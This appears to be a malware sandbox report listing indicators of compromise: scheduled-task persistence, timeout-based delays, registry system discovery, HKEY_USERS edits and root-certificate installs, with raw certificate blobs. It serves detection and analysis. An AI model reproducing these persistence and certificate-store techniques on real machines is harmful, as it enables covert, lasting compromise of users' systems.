Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	jNFCat12JprTAJuHReQN2XR8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe

Creates scheduled task(s) 1 TTPs 19 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
328	schtasks.exe
820	schtasks.exe
2892	schtasks.exe
3016	schtasks.exe
2252	schtasks.exe
2532	schtasks.exe
2596	schtasks.exe
2424	schtasks.exe
2616	schtasks.exe
652	schtasks.exe
2152	schtasks.exe
668	schtasks.exe
1140	schtasks.exe
2332	schtasks.exe
264	schtasks.exe
2084	schtasks.exe
960	schtasks.exe
2152	schtasks.exe
2648	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2300 timeout.exe

pid	process
2300	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

Pwhrnod.exehVUcgSG.exerundll32.exepowershell.exewscript.exealRnUJb.exepowershell.exesvchost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	Pwhrnod.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00b7000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{61992C63-3934-4406-A73E-D8EBB3388EA9}\WpadDecision = "0"	Pwhrnod.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	Pwhrnod.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	hVUcgSG.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 01000000000000006076617a66bfda01	alRnUJb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	hVUcgSG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	alRnUJb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	hVUcgSG.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	hVUcgSG.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	Pwhrnod.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{61992C63-3934-4406-A73E-D8EBB3388EA9}\WpadNetworkName = "Network 3"	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	hVUcgSG.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	hVUcgSG.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00b7000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	hVUcgSG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-f4-c8-ba-12-f0\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{61992C63-3934-4406-A73E-D8EBB3388EA9}\8e-f4-c8-ba-12-f0	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	hVUcgSG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	alRnUJb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	hVUcgSG.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{61992C63-3934-4406-A73E-D8EBB3388EA9}\8e-f4-c8-ba-12-f0	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\MY	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-f4-c8-ba-12-f0	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	Pwhrnod.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-f4-c8-ba-12-f0	hVUcgSG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\8e-f4-c8-ba-12-f0\WpadDecisionReason = "1"	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	hVUcgSG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	hVUcgSG.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe

Modifies registry class 2 IoCs

Processes:

rundll32.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_Classes\Local Settings	rundll32.exe

Modifies system certificate store 2 TTPs 11 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

setup.exeaj2A10.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	aj2A10.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	aj2A10.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5